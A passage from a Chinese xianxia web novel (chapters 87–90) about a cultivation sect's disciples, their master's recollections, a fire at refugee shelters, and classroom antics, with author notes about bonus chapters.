关云铮笑得不行:“师兄你也太看热闹不嫌事大了。” 闻越忽然把笑容一敛,肃然看向她。 关云铮不明所以地眨眨眼,就听面前此人用一本正经的语气说道:“谁看热闹会嫌事大。” 楚悯没忍住,这次彻底笑出声了:“仙盟中人怕是没遇见过这般情状,本就是打着助人的旗号赶来,见了凌师伯昏厥,估计也来不及多想,只能先施以援手了吧?” 一次装晕,把上门闹事的纯恶人,和装模作样的伪君子都给架起来了。 这下是闹事的没法接着闹,装模作样的没法接着装了,除了一时没入戏的师祖被掐了一下之外,堪称皆大欢喜。 “后来呢?”关云铮追问道。 “后来?后来你们倒霉师父的倒霉爹就路过了。”他那时年纪很小,分明不曾亲历,脸上的神情却像是回想起了那天的场景似的,笑着叹了口气,“商铺的人见了我爹,让他主持公道,仙盟的人也向我爹投来期许的目光。” “于是……?”楚悯问道。 章存舒这次重重地叹了口气:“于是这烂摊子就砸到了我爹手里。” **** “我的意思是你们师祖和师伯是烂摊子,他俩折腾的那个卖药摊子倒是个好摊子,后来我爹把那摊子交给别人打理了,挣的钱全拿来给他们花了,我爹一分也未曾昧下。” 关云铮敏锐道:“师父这话好哀怨。” 不应该是正义凛然地说出“一分也未曾昧下”这种话吗,怎么听着阴恻恻的。 章存舒露出个笑:“一个酒鬼,一个正长身体的孩童,不倒贴他们钱都算好了。” 哇哦,是冤大头。 连映难得损了一句:“师父和师伯幼时,不会因为此事经常掐架吧?” 章存舒冷笑了一声。 众人纷纷露出了悟的神情。 “师祖是在此时收师父为徒的?”江却问道。 “正如闻越方才所说,我是吃错什么药了,会放着朝安城大少爷的身份不当,去修那劳什子仙?”章存舒看起来十分诚恳地反问道。 楚悯默默:“可能吃了凌师伯下的药。” 章存舒难得被堵得说不出话,然而一众弟子都笑嘻嘻的,他笑着叹了口气,接着说道:“师祖确实怀揣将我收为第二个弟子的心思,我那时已经是个快成型的纨绔,哪里会愿意离开金银窝去外面吃苦,当下便未曾答应。” “当下?后来答应了?”关云铮发现了华点。 “师祖有自己的剑道要去追寻,你们师伯也不能一直待在朝安城,他那时展露出的丹修天赋若是得不到呵护,会在朝安城这金沙与人骨堆砌起的土壤里腐烂。是以他二人见无法说动我后,便向我爹娘辞行,不日后离开了朝安。 “我留在朝安过了几年的安生日子,闲时赏花遛鸟,一年到头也没几日忙的时候。我爹想在朝廷里为我谋个一官半职,我也没答应,朝廷太过乌烟瘴气,白纸进去都得黢黑着出来,我满脑子吃吃喝喝,这官场怕是有命进没命出。 “只是朝廷到底不会放过我爹这块嘴边的肥肉,没过几年,南方遭了涝灾,我爹作为皇城中首屈一指的富商,自然需承担起赈灾捐粮的重担,于是我便被一同发配去了南方,在那遇见了如今是皇帝,彼时只是公主的苍韫桢。 “此事牵涉皇家秘辛,我不便多说,总之在南方待了半年,我忽然觉得去当个修道的也未尝不可,肉体凡胎的烦恼总是这般多,兴许修了仙便不会有这许多烦恼了? “赈灾那阵子总听流民们说老天无眼,如今看来老天也是有眼的,只是时常紧闭,偶尔开启,故而人们总是时常经受苦难,难得过得轻松。 “我继续往你们师祖和师伯离开时说的方向走,明知几年过去决计寻不到踪迹,但追到青镜山下,竟真让我遇见了他二人。师祖已剑术大成,你们师伯更是会炼制许多种丹药,小摊子变成了商铺,虽自负盈亏,但日子竟也算过得去。” 关云铮听到这忍不住问道:“师父那时几岁?” 章存舒似乎在回忆,但回答得很果决:“十六七。” 楚悯也忍不住问道:“那江师兄和师姐呢?他们是何时被章先生您救下的?” 原本听到南方涝灾她就想问了,谁料章存舒把这一段说完都没提起此事,虽然心知这时候的江却和连映大约还在幸福美满的家庭中,但一想到来日的苦难,便忍不住关心一番。 章存舒笑着看了眼坐在一块的江却和连映:“那是我入门后的某一年了,十六七的年纪如何救得了两个孩子?自己都修不明白道,带着孩童岂不更糊涂了?” 虽然最初带着阿却和小映那几年,他总会在两个孩子的身上看出自己诸多不成熟的地方,因为他们年纪小,遇事没有自己的主张,便下意识模仿他的行为,有些事自己做出来不觉有何问题,由并不理解此举的孩童表现出来,便显得尤为扎眼。 那阵子功法口诀都练得乱七八糟,好在那时候没有如今这么多的邪修,不然迟早被趁虚而入,最终走火入魔。 “这样算来,师父是十六七的时候入的师门,二十左右救下的师兄师姐咯?”关云铮估算着说道。 这样年龄也能对得上外貌了。 大师兄和师姐如今确实是二十左右的模样,章存舒不留胡子,年纪反应得较为诚实,应当在三十五到四十岁之间,所以这样推算,师父在二十岁左右时救下了五岁左右的师兄师姐,便没有误差了。 “那……师叔呢?”连映问道。 章存舒毫无预兆地转换话题:“都吃完了?快些帮李厨收拾收拾。” ……关云铮决心收回方才那句章存舒适合当说书人的话。 一点说书德都没有!—— 作者有话说:人,想要很多很多的评论[让我康康][让我康康] 第88章 开玩笑的。 到底是曾经切实发生在章存舒身边的事, 不是什么悬浮虚构的话本情节,自然也算不得真正的说书。爱恨是真的,伤痛是真的, 不愿意宣之于口的犹豫, 和突兀的转换话题都是情有可原的。关云铮收敛起自己心里那点失去了分寸感的不满,无声地叹了口气。 虽说她穿越过来总共也没多少天, 无论是对一个初来乍到之人的友好, 还是对新入门弟子的照顾,章存舒都做得无可指摘,但她时常觉得章存舒此人过于看不透了,时而靠谱时而不靠谱是一方面,表面笑眯眯实际从未袒露心扉是另一方面。 坦白说,她并没有窥探他人隐私的习惯, 甚至很多时候更愿意在相熟之后分享自己的伤痛经历,也不愿意听别人剖开自己的内心。 ——当然了, 鉴于破窗效应,她这种行为也不值得提倡。 但对她来说, 听别人剖白自己比自己吐露心声煎熬得多。 负面情绪就像淤积很久的泥沙, 最初打开闸门时会因为卡在缝隙中减缓流速,一旦冲开阻碍,就会愈发迅猛地奔腾而出, 几乎不受个人的意志掌控。 自己打开闸门和看别人强行打开闸门完全是两回事。 ……想到这一时半会儿又该收不回来了, 关云铮强行终止思绪,站起身帮着收拾餐桌。 有关戚寻月的事,可能短时间内章存舒都不会主动提及,关云铮索性勒令自己的大脑别再去想了,给自己一条生路。 毕竟不会是什么传统意义的好结局。 她从蜿蜒而下的水迹上收回视线, 听见自己忍了半晌还是没忍住,轻轻地叹了口气。 江却正在冲洗碗筷,水流冲刷中的人声听着分外明显,因此不由得侧过脸看了关云铮一眼。 连映原本正靠在一边,注意到他的动作,循着视线看过去,发现关云铮坐在门口的矮凳上,对着一地的水露出个郁郁寡欢的侧脸。 两位靠谱师兄师姐短暂地交换视线,连映正打算上前,吃完饭后回了一趟院子的楚悯回来了,因为拐过屋角才看见关云铮,差点被她吓了一跳:“怎么坐在这里?天色太暗险些撞着你了。” 关云铮反应迟缓地抬起头,对着楚悯关切的脸又叹了一口气。 连映终于还是走上前:“怎么了,唉声叹气的。” 关云铮朝楚悯和连映分别伸出一只手,苦兮兮地说:“这凳子太矮,我坐得腿麻,站不起来了。” 面前两人和正洗碗的江却同时松了一口气。 连映和楚悯一同把关云铮拉起来,就见方才还在垂头丧气的人忽然竖起一根手指,神采奕奕地说道:“师姐小悯,若是以后腿麻,千万不要使劲跺脚。” 两人配合地看她,异口同声问道:“那该如何?” 关云铮说完便开始甩动自己的右手:“哪边腿麻了,就甩另一边的胳膊,甩一阵就好了。” 她身体力行地甩了一阵手臂,终于缓过那阵麻劲,也佯装无事般地收起了先前所有的愁绪。 **** 陆识微无法收起自己的愁绪,她现下不只想发愁,她快发疯了。 当然,她也早就过了发闲愁的年纪,自打进入官场,每天不是在苦恼上头留下的烂摊子该怎么收拾,就是在思考自己如今过的是不是当初想要的生活,做的是不是当初立志要做的事。 意料之中的,她给不了自己满意的答案。 没有当局者迷旁观者清这一说,她比任何人都清楚自己在迅速地往下沉,沉进更晦暗更深重之处,淤泥以无法抵挡之势堵住她妄图求生的口鼻,掩盖她向外寻求帮助的眼睛,没过她的头顶。 她原以为柳卿知是能移走她头顶淤泥的救星,是劈开黑暗的黎明。 ——陆识微狼狈地喘了一口气,猛地吸入一口夹杂着灰烬的烟尘,当即咳了个天昏地暗,双眼漫上血丝。 她原以为柳卿知能够拯救江县人,包括她这个籍籍无名的县衙司簿,谁料一场大火突袭了这个平静的早晨,而她已经翻遍了每一处窝棚烧毁后留下的灰烬,都找不到柳卿知的人影。 连续奔波了几日搭建起来的地方……变成了焦土与废墟。 好在窝棚的搭建尚未结束,住进来的流民们这两日起早帮忙,窝棚起火时几乎无人留在火场。 但她不敢保证柳卿知也全然无恙,因为由茅草和木头草草搭建的窝棚遇到大火剩不下什么,她也没能从任何一堆灰烬里窥到柳卿知的痕迹。 可柳大人昨夜分明就宿在窝棚,方才闯进来时问过的每个人也都说她并未离开过此地。 陆识微虽然只是个任由上头呼来喝去的小官,但到底还有几分文人清高在,从来没让自己如此狼狈过。 她清晨得知起火后从住处一路狂奔到此,脸没洗头未梳,被烟熏得面色发黑,双眼血红,神色又濒临崩溃,看起来几乎像个刚从地府爬回来的恶鬼。 流民们颠沛流离惯了,看见窝棚起火这样荒唐的景象也没多大的心绪起伏,甚至纷纷上前来安慰她:“陆大人,窝棚还能再搭。” 陆识微抹了一把脸,嗓子被烟尘熏哑了,张口时粗粝得像是哑巴初次发声:“我一定会查清楚究竟是谁放的这把火。” 又一根房梁被烧毁塌落,溅起一捧籍籍无名的灰。 比往年更为来势汹汹的洪灾、无休无止的责任推卸、不断因为饥饿与疾病死去的流民……以及对这一切始终无能为力的自己,她像一张每根弦都被外力绷紧到尽头的琴,而砸落的房梁成了压垮她的最后一根稻草,把她绷到尽头的心弦也砸断了。 她再也忍受不了似的,一屁股在满地狼藉中坐下,用已经被熏黑的衣袖抹了一把眼睛。 而眼泪也终于违逆了她的意志,顷刻间瓢泼而下,浇湿了她胸中块垒。 “怎么坐地上哭?”木柴燃烧的噼啪声中响起了熟悉的人声。 陆识微一愣,抬起头时眼泪把脸上的烟灰冲刷开两道痕迹。 柳卿知看了她一眼,被她这副模样逗笑了:“难道以为我死了?” 陆识微被戳破心思,顿时变得局促不安起来,地上也坐不住了,比方才坐下时还要狼狈许多地站起来:“大人……” 柳卿知收回目光,看向遥远的那轮红日:“太阳升起来了。” **** 关云铮一觉睡醒,刚睁开眼就看见摇羽悬停在她上方,霎时间瞌睡都被惊走了,差点大叫出声。 “你怎么又自行出鞘了?”关云铮心脏狂跳,闭了闭眼才能忍住掐自己人中的冲动。毕竟摇羽是没有实体还待在剑中的剑灵,她掐不到的同时还会被剑划伤,但她此刻又实在手痒,很想把摇羽掐死算了。 因为没有实体而躲过被掐死命运的摇羽听她醒了,无声地飞回床榻边的小桌上,躺平后才用一种无波无澜的声音说:“我倒要问你,怎么大晚上的又灵气波动了。” 关云铮心率还没下来,大早上受这刺激差点在此地长眠,很快又得上课,顾不上和它掰扯许多,下了床洗漱过后抄上剑往外走时才回答道:“昨夜的灵气波动也和上次一样?” 这两日她一直有意识地不启用将隐,怎会有灵气波动? “你没做梦?”摇羽怀疑地问道。 关云铮快速穿过游廊往饭堂走:“原本大概是做了的,这不是方才睁眼看见你被吓了一跳吗,此刻想不起来了。” 摇羽失语片刻:“那等你想起来了再说。” 关云铮诧异低头:“怎么,你已经有结论了?此事与我梦境有关?” “许多修士的修为都是在梦中参破某些事后突然增进的,你或许也不例外。”一百多岁的前辈颇有经验地解释道。 关云铮一脚跨进饭堂,趁还没坐到桌边前说道:“待会儿武器课上再问你。” 她说完这话便不由分说地将剑一收,快步走向桌边。 课程难度提升后,原本因为揣着现代思维看待而显得有趣的修行顿时变得面目可憎起来,她简直生出一种自己处在调休中的错觉,怎么昨日上了武器课今日还有武器课,好像她不是进入了修仙界而是穿进了无限流副本,陷在某个循环中走不出去。 不过好消息是凌风起炼制的药当真管用,昨日扭伤的手腕现在已经没什么感觉了,还能再接蒲飞鸢一剑。 胡说的,她可不想再接一次了,那种窥见杀意的瞬间,此刻回想起来还是令人不寒而栗。 也不知今日的武器课会是什么内容。 关云铮这样想着,发觉到此时楚悯还没现身,按说苏逢雨只推掉了昨日下午的课,没修改今日上午的课程安排,小悯应该来吃早饭才对。她忍不住问坐在桌边喝小米粥的章存舒:“师父,小悯去哪了?来时便未见着人。” 章存舒思索片刻:“应当去练琴了,总不能是被苏修士抓走了。” 关云铮已经快要对章存舒时不时不说人话这件事脱敏了,面色平静地把嘴里的粥咽了,放下勺子问道:“早饭也不吃?” 不说人话的这位不甚在意地摆摆手:“苏修士让小悯在太阳完全升起前去山中听风。” 关云铮茫然地眨眨眼睛:“听风?” 章存舒作为代课老师兼老师好友,对苏逢雨给楚悯制定的教学计划算是清楚一些,此刻解释道:“太阳完全升起后,山间的风便听不分明了,得赶在那之前。” 这又是为何? 关云铮有点情绪都写在脸上,章存舒笑道:“太阳出来了,山风便不够凛冽,苏修士想让小悯听的便是凛冽的风,而白日里护山大阵笼罩的青镜山只有和煦的风。” “白日里风声和煦,那夜里呢?苏修士为何不让小悯在太阳落山后去山中听风?”关云铮没被绕过去,接着问道。 “一日之中精力有限,五感的敏锐也有限,晨起时自然是最敏锐的时候,此时听风,听见的不只是风。”章存舒继续为她解释。 这倒也是,关云铮理解地点点头,又问:“护山大阵里连风都是和煦的,那归墟岂非不会下雨?” 章存舒挑眉看她:“怎么,你想看下雨?” 关云铮眨眨眼:“我说想看师父就能给下吗?” 章存舒又喝一口粥:“有何不可,雨水只是被法阵暂时储存了,又不是消失了。”?这么超前的法阵? 关云铮大受震撼,忍不住问道:“师父,不会还有能储存日光的法阵吧?” 章存舒竟当真仔细想了想:“约莫也是有的,只是镜溪不缺日光,派不上什么用场。”他看向目光灼灼的关云铮,“怎么,这个也想看?” 关云铮忙不迭点头。 章存舒笑了声:“这阵法需得耗费些精力,过几日再给你看吧。” 关云铮一边聊天一边吃,等到师兄师姐们抵达时已经吃完了,揣着剑就走:“师父师兄师姐,我去挨打了!”—— 作者有话说:上一章评论区有追读的读者想要加更,问一下想要加更的读者多吗,如果多的话我就制定个加更制度什么的(对手指) 第89章 关云铮刚迈过门槛, 摇羽就从剑鞘里冒出来一截:“行了,聊聊你昨夜做的梦。” 饭堂距离练武场有段距离,关云铮吃饭花的时间不多, 走得没有来时快, 听了这话边走边说道:“你现今都能自行出鞘了?” 摇羽理直气壮:“蹭了些你身上的灵气,怎么, 不行?” 关云铮颇觉好笑:“你方才说我昨夜灵气波动。” “你昨夜灵气波动与我能自行出鞘并不冲突。”摇羽答道。 关云铮脚步一顿, 低头看它一眼:“我还当你是因为我灵气波动才能有自行出鞘的可能,那你早上那么说又是因为什么?” 摇羽又窜出来一截,活像是剑灵急得要窜上来戳她脑门:“自行出鞘和被你灵气催动出鞘我还是分得清的,我早就能自行出鞘是一回事,你昨夜灵气波动催动出鞘自然是另一回事了!” 关云铮感觉自己简直在同它说绕口令,本来才刚吃完早饭远没到晕碳的时候, 此刻都快被它的话绕晕了,默了片刻才说:“你听见我说什么梦话了?” 摇羽平静地缩回去一截, 不知道是不是因为心虚:“没听见,就因为没听见梦话但又被你‘叫’出来, 才悬在那等你醒。” 说到这件事关云铮就来气, 没好气地问:“你怎么能精准无误地停在我脸的上方?能感觉到?” 要是摇羽像她那时在霰照里一样,能够看见外界……以后再也不随手把剑带回房了,就让它待在外面石桌上自生自灭吧。 摇羽又悄悄窜上来一截:“你能操控灵气之后, 我就能感觉到你的位置了。” 鉴于以前尚未引气入体时她便召过摇羽, 话赶话地说到这,她干脆把旧事也拿出来一起分析:“第二次下山被季邕绑走,那时我尚未引气入体,你又是怎么精准落在我身边的?” 摇羽险些没回想起来。虽说此事才过去不久,但每日跟着关云铮过的日子太过跌宕, 它总有种已经从剑冢离开了大半年的错觉。 它回忆着说:“那时是听声辩位,看不清你的人形;现今你周身有灵气,剑灵对灵气素来感应敏锐,自然能精准无误。” 它还挺嘚瑟。 关云铮叹了口气,释怀了:“以后别大早上悬在我面前。” 摇羽不大情愿似的应了声,又说道:“你当真想不起来昨夜梦见了什么?” 练武场已近在眼前,关云铮下意识收敛说话的音量:“你究竟感应到什么了,难得见你抓着什么不放。” 摇羽却忽的像被下了哑药,没动静了。 关云铮正要低头去看,叶泯不知何时走到她面前来:“关姑娘,前日之事……是我疏忽,吓着你了,深感抱歉。” 摇羽还在剑鞘外,估计是看外人来了不打算说话了,关云铮干脆从腰间收回视线看向来人。 叶泯长了一张刻板印象中算不上乖巧懂事的脸,哪怕此刻确乎是诚心道歉,眉毛眼尾嘴角无一不是耷拉着的,那张脸也显出一种无心也能闯出祸的朝气来。 关云铮向来对男性群体有些轻微脸盲,评价长相时总会更着重形容气质。但气质这东西犹如“氛围感”一样虚无缥缈,对应的形容词也大多抽象,但如果非要让她找一个词来形容眼前这位的话…… 她觉得穿越前那两年流行的“男高”还挺合适的。当然了,“男高”一词流行起来时有多脱离现实生活,大家心知肚明,什么盛夏蝉鸣,什么汽水白衬衫,什么清爽…… 总之叶泯的形象还算是接近这一类悬浮的“男高”,朝气蓬勃的同时很能惹事,清澈的同时带着点不那么冒犯人的笨拙。 非要比的话,大概能比大学里的某些男同学好多了,关云铮勉强能心平气和地和他对上几句话。 不过这么一张一看就很会闯祸的脸,现下如此诚恳地向人道歉……她总觉得怪喜感的,有种叶泯其实不是自愿而是被胁迫的感觉。 她随口说道:“只是从没见过那么大的灵兽,但它也没对我做什么,再说了,你不是都把它妥善安置了吗,不必同我道歉了。” 毕竟没有受到实质性的伤害,那蛇虽然庞大但态度很友好,她自己胆子太小见识太少也是她受惊的一部分原因。 叶泯叹了口气,同她道谢,忽而又想到什么,问道:“楚姑娘不参与武器课吗?” 关云铮疑惑看他:“她不是在你门派得到的新生乐器?日后武器课的时间她学琴。” 她回答完忍不住腹诽:看着挺开朗活泼一小伙子,不会是个傻的吧? 叶泯后知后觉似的点了点头:“也对,险些忘了。” 蒲飞鸢还没到,关云铮顺势多说了两句:“我听小悯说,你在灵兽派时甚至出言呛了那位秦长老几句,怎么如今到了归墟,反倒老实起来了?” 难道他是窝里横,离开门派后就怂?她原本还期待着叶泯怼一怼那欠打哥呢。 叶泯回答时的声音很有几分沮丧:“抵达归墟之前,我哥再三叮嘱过我,要守规矩。” 关云铮的嘴毒属性在面对不熟的人时堪称满分发挥,她疑惑地看了叶泯一眼 问道:“你兄长难道不曾让你别把那灵兽带入归墟?” 叶泯哑口无言。 关云铮摊开手:“你看,连这样的叮嘱你都没听,还扮什么乖巧懂事,不也很累吗。” 叶泯尚未从别人口中听过这样的歪理,下意识想要辩解,却又实在不知道说些什么好,丧气地垂下脑袋。 关云铮看他垂头丧气的,正想说点什么弥补方才太过直白的话语,就见叶泯袖中什么东西一闪一闪,光芒透过袖子的布料折射出来。 她伸手指了指,把仍处在沮丧中的叶泯从情绪里叫出来:“你的袖子……” 叶泯低头看了眼,顿时大惊失色:“完了完了完了,我哥一定是收到消息,知道灵犀在青镜山走丢的事了!” **** 谭一筠抵达练武场时见到的便是这幅景象——叶泯惊慌失措地从袖中拿出一枚像传音符一般的物件,捧在手心里抛也不是、听也不是,都快急得在原地打转了。而关云铮正站在他身侧,饶有兴致地打量着他手中的物件。 子不语在谭一筠身侧悬浮着,此情此景之下,向着谭一筠的那面上忽然浮现出几个墨色的字:“传音符?” 谭一筠摇了摇头:“应当不是。若只是寻常传音符,他何至于这般惊慌?” 子不语上的墨字褪去,瞬息之后又出现了几个新的:“闯祸。” 谭一筠挑了挑眉,若有所思地捞过子不语合上,走向那二人。 与此同时,叶泯手中的传音符又开始闪光,像是在做最后的警告。 关云铮看热闹不嫌事大,无端觉得此刻的传音符无论是在功能上,还是在对人施加的心理作用上,都无比接近于某个神秘西方叫做吼叫信的魔法产物。 于是她稍微退远了些,又忍不住问道:“若是你一直不听里面的话,它会如何?”会像吼叫信一样爆炸后依旧把里面的内容大喊出来吗? 练武场上的人越来越多,如果叶泯手中的传音符当真像吼叫信一样,他兄长又气狠了的话…… 关云铮又退远了一步,神情无比诚恳:“我建议你还是尽快听一听,如果你不想被越来越多的同窗得知你闯了祸的话。” 叶泯自然也清楚这一点,神情视死如归般,将那传音符的禁制解开了。 里头瞬间传来一声虎啸,关云铮当场被吓得抖了抖。 周边的同窗显然也听见了这声巨响,顿时神色惊疑不定地往这边看过来。 谭一筠十分体贴地上前,将手中的子不语展开,只见那扇面上光华流转,看起来似乎是又开启了一个术阵。 关云铮不由得侧过脸看他,却见他回避似的走到了旁边,只剩那把叫做子不语的折扇悬浮在叶泯身侧。 阻挡声音的术阵? 那声虎啸过后好一阵,传音符里才传来人声:“叶泯,你能耐了是吧?” 关云铮默默思考,自己这时候才打算走到子不语隔绝的范围之外,是不是也不太合时宜。毕竟听都听了,此刻才知道回避好像有点装了。 但她还是打算给叶泯留点面子,于是沉默着往谭一筠离开的方向走了几步。 只是那由子不语隔开的范围实在是难以捉摸,她都走远这些距离了,依旧能听见叶泯兄长那阴恻恻的声音传来:“我是不是让你别把灵犀带过去?是不是让你路上注意灵笼的稳固情况?是不是让你出了什么事第一时间传信回来?” 关云铮被这连续的三个排比句问得无端胆寒,又听见那边的接着说道:“若不是父亲察觉不对,传信给章先生,我怕是到此刻都无从得知你闯了多大的祸吧?” 唔,按照师父的习惯,应该不会把这件事往外说才对。关云铮这样想着。 果不其然,她刚冒出这个想法,便听见传音符那边说:“还是父亲发现灵犀不在派中,带着结论去问的章先生,不然看章先生的意思,怕是还要替你隐瞒。你好大的能耐啊,叶泯。” 叶泯兄长恐怖如斯。 不管关云铮想不想听墙根都已经听到这里了,她干脆坦荡地接着想:最开始那声虎啸究竟是什么意思? 叶泯的兄长制作传音符时,一定不知道自己的每句话都给了关云铮正在思考的问题一个答案,只听他在那边说道:“若是日后让我得知你在归墟又闯出祸的话,我就把你丢进鹧鸪山的野林里喂猛虎。” 关云铮恐惧地吞咽了一下,想到小悯那日从灵兽派回来时叙述的经历,为日后的叶泯捏了一把汗。 一直保持沉默的摇羽都忍不住幽幽开口:“这是亲哥吗?” 传音符彻底寂静下来,在叶泯的手中变成了一张普通的符纸,叶泯松了一口气,把符纸塞进腰间的乾坤袋里,又抬头看了眼悬在他身侧的折扇。 蒲飞鸢终于抵达练武场,谭一筠也从别处走了回来,子不语从叶泯身侧飘回他身边,被他随手合上。 叶泯不认识他,但从周围人转变的态度来看,后来应当是这把折扇隔绝了传音符的动静,让他不至于在众目睽睽之下被自己的亲哥数落。他朝谭一筠抱了抱拳:“多谢这位同窗。” 谭一筠朝他点了点头:“举手之劳,不足挂齿。” 关云铮颇觉头痛地打断两人你来我往的客套话:“别说这些车轱辘话了,你们知道半月后要参与幻境考核吗?” 谭一筠了然道:“知道,关姑娘是想合作?” 叶泯茫然:“什么幻境考核?合作我倒是没意见。” 关云铮叹了口气,在蒲飞鸢开口前把这件事快速敲定下来:“散学后二位同窗随我去一趟苍生道吧,到时我们再细谈。”—— 作者有话说:有事要说所以先发出来↓(下一更依旧是隔日更) 因为最近看到评论区的读者说想要加更,但是我也不太懂规则制定,所以下面是试行版(划重点),后期看实际情况变动 加更制度: 按照每章至少三千字的标准,从发布规则起开始计数 1.营养液×50(1k) 2.地雷×2(1k) 3.单章评论×20(1k),没超过的就延续到下一章,比如xx章12条下一章8条,那就加起来算1k 4.剧情长评(如果有的话)(1k) 评论的话,希望大家多多发关于剧情的评论,我也想和大家一起讨论剧情[三花猫头] PS:这个制度是按照最近观察的数据定下的,如果后续大家非常热情(期待的目光)的话,实在写不过来会提高一点标准,如果短时间写不完会记着,正文完结都没写完(不会吧这很可怕)的话大家可以番外点梗。 总之感谢大家这段时间以来的支持![撒花] 第90章 在山中听风的感觉很奇妙。 说实话, 楚悯觉得自己听不太明白,平日里随处可听到的风声有什么值得听的地方? 她也不太明白苏逢雨让她听风,究竟是想让她从风声中听出什么、领悟什么。 这次从山下回来后, 归墟调整的课程安排以三日为一个周期, 第一日上午是符咒课,也即褚先生的课, 下午武器课;第二日则是武器课和术法课;第三日是术法课和符咒课;第四日开始重复这一周期。 是以课程安排并不难记, 看过便能记住。 三堂课的安排也相当合理,不会因为某堂课学得格外疲累,也不会把上一堂课的内容忘得太干净。 除了褚先生的课。 符咒课被安排在周期的头和尾,不知道先生们是怎么想的,褚先生的课难道不是最需要短时间内反复记忆,借此巩固的吗? 还是说先生们其实别具心思? 清晨的风声逐渐和缓, 日光刺破茫茫雾气,泼洒进山中。 苏修士先前特意叮嘱过, 日出后的风声有失凛冽,没有继续听下去的必要。楚悯放松下来, 正打算回苍生道吃早饭, 忽然捕捉到风声中一缕奇怪的动静。 她下意识停住脚步,困惑地侧过头,凝神听了一会儿, 方才那细微的动静却又像从未出现过一般, 消失得无影无踪了。 首次听风堪称一无所获,楚悯叹了口气,不再留恋,迈开步子往外走。 还没等她走出去,抵达往日练习术法的那处瀑布, 忽而一阵无端熟悉的草木响动声传来,窸窸窣窣地就响在近旁。她直觉这声音不久前才听过,却因为被灌了一脑袋的风声,这短暂的一瞬间竟没能回想起来。 直到她心怀疑惑地从山中走出,重见了归墟的天日,才恍然意识到,方才那阵草木响动或许是灵犀制造出的动静,那日在鹧鸪山中遇险时,灵犀爬行时,她便听过这种草木响动的声音。 毕竟它也在后山之中。 按理来说声音离得这么近,灵犀的体型又那么庞大,这种距离之下不可能看不见它,除非是章先生布下的结界在发挥作用,使她只听得见声音,看不见灵犀的外形。 倒是免去了无心之人闯入时受惊的可能。 楚悯在山中站了约莫半个时辰,她固然尚未辟谷,但素来食欲寡淡,这些日子在苍生道吃吃喝喝,此时竟有些饥饿。 苍生道的菜地近在眼前,楚悯下意识绕过去看了几眼,发觉地里又冒出了几种她不大认识的作物。 嗯……算了认不出来。 她干脆利落地放弃,转身向饭堂走去。 章存舒难得没有吃完饭就走人,楚悯跨过门槛进入饭堂时,见他坐在桌边还有些惊讶:“章先生。” 他显然是知道楚悯这一段时间去做了些什么,把粥碗推到她面前:“体验如何?” 连映把盛小菜的碟子也推了过来。 楚悯坦诚地摇了摇头,如实答道:“没听出什么名堂。” 闻越不知内情,闻言好奇道:“听什么?还有小悯听不出名堂的东西?” 楚悯失笑:“闻师兄太高看我了。是苏修士让我去山中听风,我听了半个时辰,没能从中领会到什么深远的东西。” 想来苏逢雨特意叮嘱,听风此举定是有何特殊之处的吧? 连映接过话茬:“或许与你先前所说,苏修士让你在幻境考察前破妄有关?” 楚悯若有所思,边吃边想:破妄究竟指的是何种妄念?对现实纷扰的妄念,亦或是对音修来说,俗世杂音的妄念? 风声难道不是某种意义上的俗世杂音吗?听风如何能对破妄有所助力? 章存舒没打算继续在此久坐,见楚悯坐在桌边吃得专注,便随口说了几句,起身离开了。 闻越仍在犯嘀咕,和楚悯一样纠结着:“究竟什么叫破妄?” 江却和连映一同摇了摇头,随后江却先开口说道:“破妄一词倒是不难理解,只是音修所说破妄又是何意?想必有其特殊之处?” 闻越想起什么似的,拍了一把自己的大腿:“诶,昨日那叫叶泯的,是不是灵兽派的来着?” 楚悯抬起头来,瞬息之间明白了闻越想表达的意思。 “灵兽派不是有半数以上的人都是音修出身吗,问问他如何?” **** 今日的武器课不用单方面挨蒲飞鸢的打,但课上的任务也不算简单轻松,关云铮练完剑招还得练剑诀,学过的东西挨个巩固一遍后,人早已在秋日里大汗淋漓,时间也逐渐逼近了散学时间。 蒲飞鸢迟到早退,堂而皇之地先转身走了,关云铮作为学生只好效仿,带上叶泯和谭一筠往归墟的饭堂走。 谭一筠早已辟谷,叶泯倒是当真饿得厉害,跟在关云铮身后时几次想开口说些什么,都没能找到合适的时机,直到被人带着快要进饭堂了,饿了许久的肚子忽然很不给面子地叫了几声。 走在前头的二人闻声先后回头,发现发出声音的人闹了个大红脸。 谭一筠失笑:“尚未辟谷?” 叶泯叹了口气,不大好意思地点了点头。 关云铮收回视线,率先往门内走:“正好,先吃完饭再谈幻境考察的事。” 她一脚跨过门槛,迟疑片刻后又把迈进门槛的腿收了回来。 谭一筠本就自发同她隔着些距离,此番关云铮忽然后退没能撞上他:“怎么了?” 关云铮还在思考方才看到的画面,因此只分出一点心思含混答道:“唔,没事。” 她再次迈过门槛,确信方才自己看到的并非幻觉:饭堂内原本有两张桌子,都是八仙桌的大小,平日里另一张基本是闲置的,最近一次使用还是上次苍韫桢和柳卿知一起来的时候。 而现在这两张桌子消失了,取而代之的是一张长桌,左右两侧……目测各能容纳十人,首尾则只能坐下两个人。 师父前天倒是说过需要把各自院中的石桌变大些,怎么连带着餐桌也调整规模了? 她领着身后二人进门,同仍在灶边忙碌的李演打了声招呼:“李厨,何时换的桌子?” 李演端出两碟菜:“早晨吃完饭后你师父换的,估计你们院子里的石桌也换过了。” 关云铮心说果然,又同李演解释道:“这是新来的同窗,有些事要一起商讨,所以把人带来了。” 李演放下菜又去忙了:“你师父早上便同我说过了。” 李演看起来忙得脚不沾地,关云铮只好独自面对艰难的社交场合,转过身向两人说道:“师兄师姐们还没到,要不先等等?” 谭一筠自然没意见,闻言第一时间关切地看向叶泯。 叶泯被他这一眼看得更不好意思了:“我倒也没那么饿,能等。” 不过师兄师姐们没让叶泯饿着肚子等太久,很快就陆续到了。 闻越进门时的反应与关云铮的如出一辙,先自然地一脚迈进门,随后又迟疑地把腿收回,在门外和门槛大眼瞪小眼好半晌,才重新迈进来。 他一进来就和无助的关云铮对上了视线,虽然没读懂小师妹的眼神,但还是牛头不对马嘴地说道:“师父换的?怎么忽然换了张这么大的?有这么多人……吗?” 他的问句在看清关云铮身后坐的两人后凝滞了一瞬:“叶泯?这位又是?” 连映走在他身后:“想来另一位便是翠屏山弟子了。” 被点到名的谭一筠起身:“翠屏山弟子谭一筠,师兄师姐好。”他看向走在最前面的闻越,“闻兄应当与我年岁相近?” 闻越疑惑:“你知道我什么岁数?” 关云铮默默指了指谭一筠手中的子不语,示意闻越的目光看向这把师门昨晚才讨论过的法器。 闻越顺着她的视线看过去,恍然道:“原来是你。” 谭一筠不明所以地低头,关云铮光速收回自己的手,把目光看向别处。 